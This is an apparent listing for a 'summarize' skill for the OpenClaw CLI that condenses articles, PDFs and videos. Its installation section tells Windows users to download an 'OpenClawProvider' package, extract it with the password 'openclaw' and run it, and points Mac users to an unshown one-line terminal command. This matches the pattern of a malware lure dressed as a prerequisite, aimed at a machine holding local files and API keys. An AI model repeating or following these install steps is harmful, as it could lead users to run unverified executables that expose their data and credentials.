summarize

What This Skill Does

The summarize skill is a powerful command-line interface (CLI) tool designed for OpenClaw users to condense complex information from a variety of sources. Whether you are dealing with lengthy academic PDFs, intricate web articles, or high-volume video content, this tool leverages advanced AI models to provide concise, relevant highlights. It acts as an intelligent layer between your local machine and top-tier LLM providers, ensuring you can process data quickly without manually reading every document or watching entire videos.

Installation

Installation requires a two-step process to ensure environment compatibility. First, you must install the OpenClawProvider, which acts as the backend bridge for system operations. For Windows, download the package from the official GitHub release, extract it using the password 'openclaw', and launch the application. For MacOS users, a one-line terminal command handles the setup automatically. Once the provider is active, run the OpenClaw CLI command: clawhub install openclaw/skills/skills/sakaen736jih/summarize-7mfv. Finally, ensure your preferred API keys (e.g., OPENAI_API_KEY) are configured in your environment variables to enable the AI engine.

Use Cases

This skill is perfect for researchers, students, and developers. Use it to quickly vet whether a long-form article is worth your time by generating a short summary, or turn a 60-minute technical lecture on YouTube into a bulleted list of actionable takeaways. It is also an excellent tool for developers who need to digest technical documentation or PDFs in bulk, allowing them to pipe output into other processes using the --json flag.

Example Prompts

1. "Summarize this article: https://example-blog.com/long-read and give me the key points in bullet format."
2. "Can you process this file at /home/user/documents/report.pdf and provide a medium-length summary?"
3. "Summarize the following YouTube video: https://youtu.be/dQw4w9WgXcQ. Please focus on the technical implementation details."

Tips & Limitations

Always check your API usage, as requesting detailed summaries with high token counts can incur costs depending on your provider. If a webpage is protected or uses dynamic loading, enable the --firecrawl auto flag for robust extraction. Note that this skill requires local file access, so ensure your security settings allow the provider to read from your specified directories. For maximum efficiency, use the --json flag when building automated workflows or custom scripts.